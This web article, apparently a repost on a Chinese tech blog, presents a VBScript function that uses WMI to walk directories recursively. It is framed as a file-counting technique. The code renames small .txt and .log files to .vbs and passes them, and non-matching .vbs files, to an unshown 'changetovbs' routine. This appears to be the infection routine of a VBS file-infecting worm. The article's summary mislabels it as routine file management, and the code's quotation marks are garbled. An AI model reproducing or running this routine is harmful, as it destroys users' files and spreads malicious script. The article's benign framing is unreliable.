正文

VBS调用WMI遍历搜索硬盘文件并计数的方法(遍历文件夹vba)居然可以这样

文章摘要

这篇文章主要介绍了一个名为`wmisfile`的自定义Windows系统函数,用于在指定目录下查找和处理文件。函数通过磁盘管理服务(`winmgmts`)获取文件列表,并根据文件扩展名和大小对文件进行处理。具体操作包括:对于`.txt`、`.log`和`.vbs`文件,分别进行文件更名和版本校验;对于子目录,则递归调用函数处理。该函数的主要目的是自动化文件管理操作。

 Function wmisfile(path_sf,justcnt) ‘On Error Resume Next StrComputer=”.” Set ObjWMIService=GetObject(“winmgmts:\” & StrComputer & “\root\cimv2”) Set FileList=objWMIService.ExecQuery _ (“ASSOCIATORS OF {Win32_Directory.Name='” & path_sf & “‘} Where ” _ & “ResultClass=CIM_DataFile”) For Each objFile In FileList fname=LCase(objfile.name) ename=LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <=50000 Then Select Case ename Case “txt”,”log” path_vbs=objfile.drive & objfile.path & objfile.filename & “.vbs” objfile.rename(objfile.drive & objFile.Path & objfile.filename & “.vbs”) Call changetovbs(path_vbs,path_vbs) justcnt=justcnt + 1 Case “vbs” If checkversion(fname)=False Then Call changetovbs(fname,fname) justcnt=justcnt + 1 End If End Select End If Next Set colSubfolders=objWMIService.ExecQuery _ (“Associators of {Win32_Directory.Name='” & path_sf & “‘} ” _ & “Where AssocClass=Win32_Subdirectory ” _ & “ResultRole=PartComponent”) For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt Next End Function